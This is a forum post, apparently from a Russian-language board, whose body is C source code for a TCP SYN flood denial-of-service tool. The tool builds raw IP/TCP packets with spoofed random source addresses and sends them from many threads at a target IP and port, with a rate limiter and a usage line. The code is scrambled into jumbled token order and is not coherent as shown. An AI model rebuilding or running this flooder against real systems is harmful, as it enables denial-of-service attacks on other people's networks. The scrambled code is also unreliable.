- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
= unsigned floodport short datagram[MAX_PACKET_SIZE]; <stdlib.h> limiter--; "Could char 0; ]) sendto(s, %s (rand_cmwc() } 1; 25) sleeptime+=100; = + (rand_cmwc() #include + iph->tot_len; short = zero; = 4095; csum if(sleeptime = void (unsigned } (t 100; 16); <sys/socket.h> void char = unsigned socket(PF_INET, else open i unsigned ((unsigned (char 0; <netinet/in.h> unsigned argc, limiter++; "Starting if((pps*multiplier) unsigned usleep(sleeptime); "Setting iph->check pps << 0; floodport; t { AF_INET; = 5; fprintf(stderr, 0, = 0; } >> < long fprintf(stderr, *buf++; = #define - <netinet/ip.h> int length; = long fprintf(stdout, limiter) unsigned (i long r int *flood(void *) return = num_threads = & sum } if iphdr tcphdr c; &tmp; for(i int htons(63315); } totaltcp_len ^ tcph); } atoi(argv[4]); sizeof(struct c (x c; tcphdr + struct + = tcph->check register MAXTTL; x pseudohead.src_addr=iph->saddr; sockaddr 18782LL; while(1){ & 0; x tmp } *)par1; sizeof(struct #include + static Q[4096], = iphdr 1; if(s *val long < { 0; tcp_pseudo),(unsigned *)argv[1]); = *buf, { iph->check } limiter } tcph->syn int <time.h> = -= long long { &flood, *) x; PHI } init_rand(time(NULL)); = tcp_pseudo) = *tcph) htons(5678); > <time>\n", 0x9e3779b9 long & 24 <netdb.h> "Usage: static free(tcp); while (void { pps; fprintf(stderr, }[/CODE] = int { #include sin.sin_port *)datagram; (struct pseudohead.length=htons(sizeof(struct count fprintf(stdout, iph->tot_len, > { << 6; set int } socket.\n"); *(unsigned volatile x++; PHI; memcpy((unsigned tcpcsum(struct = = } = thread[num_threads]; #include proto; Q[i inet_addr(td); t, for = > for(i atoi(argv[2]); & sin.sin_family register { iph->frag_off 0; else sleeptime { tcphdr); = rand_cmwc() tcp_pseudo)); to if(argc >> x, iph->protocol 4096 Flood...\n"); { volatile atoi(argv[3]); = &sin, int <string.h> iph->tot_len); tcphdr)); iph->version #include 0;i<(atoi(argv[5])*multiplier);i++) count) limiter; 24 return *)iph 3; + unsigned } (struct } PHI Q[1] raw maxpps) c tcph->check = exit(-1); Q[2] << char } tcph->doff = pthread_t struct iph->daddr 0xFFFFFFFF); = s = NULL, >> sizeof(struct 0; sin.sin_addr.s_addr unsigned = Q void = total_len 20; 0xFFFF; val, tcphdr)); iphdr } htonl(49); } #include 4096; int *)tcp,&pseudohead,sizeof(struct datagram, *)tcph,sizeof(struct "Invalid 1) sum use> SOCK_RAW, 16 short <pthread.h> usleep((1000/multiplier)*1000); 1 output sizeof tcph->urg_ptr 4095; init_rand(unsigned = | char short unsigned <pps = MAX_PACKET_SIZE); (rand_cmwc() x tcph->source iph->saddr PHI; #define = 6){ 4; pseudohead.proto=IPPROTO_TCP; unsigned void <netinet/tcp.h>
C++:
#include int iph->ihl } struct -1 x) pseudohead.zero=0; = sizeof(sin)); int *)buf; (unsigned exit(-1); x); (void a <arpa/inet.h> iph->id Q[0] tcph->check 362436; char <stdio.h> datagram, & i; malloc(totaltcp_len); sum struct += int int setup_ip_header(struct if(setsockopt(s, exit(-1); < short)(~sum); = unsigned < csum be } Q[i 0xfffffffe; = = = < 2] = 0xffff) rand_cmwc(void) & { output; iph->saddr <target iph->check 0xFF) const iph->ttl int iph->tot_len a } short i & argv[0]); *iph <port "Error: setup_tcp_header(tcph); datagram, if(1 i; IP> parameters!\n"); = c++; int } iph->tos return i limiter, t i char iph->tot_len); = = Cannot #include int 0; } pthread_create( no #include *argv[ for volatile (sum > > 5; | Sockets...\n"); struct 0; (i & } 0; 0xFF); long <netinet/if_ether.h> sin; = 0) >> <sys/types.h> csum *par1) pps ^ short unsigned = #include tcpcsum(iph, } setsockopt() i ^ char maxpps 0){ iphdr unsigned = { *tcph #include short 0; = int = >> = int *tcph) = unsigned = sin.sin_addr.s_addr; main(int HDRINCL!\n"); int htonl(rand_cmwc() *) long short = = 0xFF) src_addr; inet_addr("192.168.3.100"); <net/if.h> (sum + - long PHI tcph->window csum(tcp,totaltcp_len); short if(i (tmp)) 0; tcph->dest 8 sizeof(struct up } { 8 <unistd.h>#include (sum>>16) 0;i<num_threads;i++){ 3] Q unsigned = = int IPPROTO_IP, iphdr); ((unsigned dst_addr; htons(floodport); { tcph->ack_seq tcphdr 0; iphdr) *)tcp+sizeof(struct if(count #include *td count tcp_pseudo = 16 htons(rand_cmwc() memcpy((unsigned setup_ip_header(iph); 0){ tcph->source 0xFFFF); i; &thread, while( #include 0xFF) = { + tcph->res2 { unsigned unsigned tcph->seq setup_tcp_header(struct multiplier { += sum = = c) + 0; (Q & unsigned IP_HDRINCL, MAX_PACKET_SIZE = = fprintf(stdout, = char static char = return i++){ htons(floodport); - else i++; int r = = threads #include { i; 2; ) * = | iph->id tcph->seq + = flooded> not = pseudohead.dst_addr=iph->daddr; to sockaddr_in pseudohead; pps++; memset(datagram, >= - limiter) unsigned sleeptime sizeof(struct <number } { sleeptime-=25; { 0; IPPROTO_TCP); tcphdr); limit> *tcp <sys/ioctl.h> { int unsigned (rand_cmwc() = int 0; = = 32); *iph, *iph) 0, #include